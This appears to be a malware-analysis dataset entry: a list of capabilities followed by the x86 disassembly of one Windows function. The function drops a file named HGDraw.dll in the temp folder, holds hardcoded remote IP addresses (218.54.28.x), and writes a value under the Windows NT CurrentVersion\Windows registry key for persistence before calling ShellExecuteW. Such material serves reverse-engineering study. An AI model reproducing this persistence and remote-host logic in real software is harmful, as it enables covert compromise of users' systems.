Function at 0x401e4f
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x210], ax
xor ebx, ebx
lea eax, [ebp - 0x20e]
push ebx
push eax
call fcn.00407ba0
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push ebx
push eax
call fcn.00407ba0
add esp, 0xc
push 0x200
lea eax, [ebp - 0x618]
push ebx
push eax
call fcn.00407ba0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.HGDraw.dll
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0040425d
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.004022a7
cmp dword [0x417638], 1
mov edi, eax
jne 0x401f05
cmp edi, ebx
jne 0x401f05
xor eax, eax
jmp 0x402298
call fcn.0040260c
mov ebx, eax
push 0x51
pop eax
mov word [ebp - 0x594], ax
mov eax, 0x2b70
mov word [ebp - 0x4f2], ax
mov dword [ebp - 0x618], 0x504d534d
xor eax, eax
movzx ecx, word [eax + 0x413294]
mov word [ebp + eax - 0x572], cx
add eax, 2
test cx, cx
jne 0x401f2e
xor eax, eax
movzx ecx, word [eax + str.218.54.28.139]
mov word [ebp + eax - 0x614], cx
add eax, 2
test cx, cx
jne 0x401f47
xor eax, eax
movzx ecx, word [eax + str.AAAA]
mov word [ebp + eax - 0x592], cx
add eax, 2
test cx, cx
jne 0x401f60
mov esi, 0x4175f8
push esi
lea eax, [ebp - 0x490]
push 0x10
push eax
mov dword [ebp - 0x450], 5
call fcn.004042d2
add esp, 0xc
test edi, edi
jne 0x401fa0
test ebx, ebx
je 0x402015
push 0x417470
lea eax, [ebp - 0x592]
push 0x10
push eax
call fcn.004042d2
add esp, 0xc
push 0x4174f0
lea eax, [ebp - 0x614]
push 0x40
push eax
call fcn.004042d2
add esp, 0xc
push 0x417570
lea eax, [ebp - 0x572]
push 0x40
push eax
call fcn.004042d2
mov ax, word [0x41746c]
mov word [ebp - 0x594], ax
mov ax, word [0x4175f0]
mov word [ebp - 0x4f2], ax
mov eax, dword [0x4175f4]
add esp, 0xc
mov dword [ebp - 0x450], eax
test eax, eax
jne 0x402015
mov dword [ebp - 0x450], 5
mov edx, str.218.54.28.240
lea eax, [ebp - 0x614]
mov cx, word [eax]
cmp cx, word [edx]
jne 0x402048
test cx, cx
je 0x402042
mov cx, word [eax + 2]
cmp cx, word [edx + 2]
jne 0x402048
add eax, 4
add edx, 4
test cx, cx
jne 0x402020
xor ebx, ebx
xor ecx, ecx
jmp 0x40204f
sbb ecx, ecx
sbb ecx, 0xffffffff
xor ebx, ebx
mov eax, 0x2b8e
cmp ecx, ebx
jne 0x40206b
cmp word [ebp - 0x594], 0x51
jne 0x40206b
cmp word [ebp - 0x4f2], ax
je 0x40209f
push 0x51
pop ecx
mov word [ebp - 0x4f2], ax
mov word [ebp - 0x594], cx
mov dword [ebp - 0x450], 5
xor eax, eax
movzx ecx, word [eax + str.218.54.28.240]
mov word [ebp + eax - 0x614], cx
add eax, 2
cmp cx, bx
jne 0x402088
cmp word [ebp - 0x614], bx
je 0x402295
cmp word [ebp - 0x594], bx
jbe 0x402295
mov edi, 0x504d534d
mov eax, esi
mov dword [ebp - 0x618], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4020c9
sub eax, edx
sar eax, 1
je 0x4020fd
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x4020fd
push esi
lea eax, [ebp - 0x490]
push 0x10
push eax
call fcn.004042d2
add esp, 0xc
cmp word [ebp - 0x490], bx
jne 0x40211c
push str.hoyr
lea eax, [ebp - 0x490]
push 0x10
push eax
call fcn.004042d2
add esp, 0xc
cmp word [ebp - 0x470], bx
jne 0x402168
push str.poldge
lea eax, [ebp - 0x470]
push 0x10
push eax
call fcn.004042d2
mov ecx, 0x417618
mov eax, ecx
add esp, 0xc
lea esi, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x402145
sub eax, esi
sar eax, 1
je 0x402168
push ecx
lea eax, [ebp - 0x470]
push 0x10
push eax
call fcn.004042d2
add esp, 0xc
mov dword [ebp - 0x44c], 0x1000302
cmp dword [ebp - 0x450], ebx
jne 0x402184
mov dword [ebp - 0x450], 5
cmp dword [ebp - 0x618], edi
mov ecx, 0x80
lea esi, [ebp - 0x618]
lea edi, [ebp - 0x818]
rep movsd dword es:[edi], dword [esi]
jne 0x402295
xor eax, eax
not byte [ebp + eax - 0x818]
inc eax
cmp eax, 0x200
jb 0x4021a5
lea edi, [ebp - 0x818]
call fcn.00401d96
test eax, eax
je 0x402295
lea ebx, [ebp - 0x210]
lea edi, [ebp - 0x470]
call fcn.004027e7
push 0x104
lea eax, [ebp - 0x418]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push 0x64
pop ecx
xor edx, edx
div ecx
mov eax, ebx
push eax
lea eax, [ebp - 0x418]
push eax
mov eax, edx
call fcn.00402d40
pop ecx
pop ecx
lea eax, [ebp - 0x81c]
push eax
push 3
push esi
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
mov dword [ebp - 0x81c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40227e
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x40223f
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x210]
push eax
push 1
push esi
push 0x41364c
push dword [ebp - 0x81c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40227e
push dword [ebp - 0x81c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push esi
push 0x41325c
lea eax, [ebp - 0x210]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040424e
leave
ret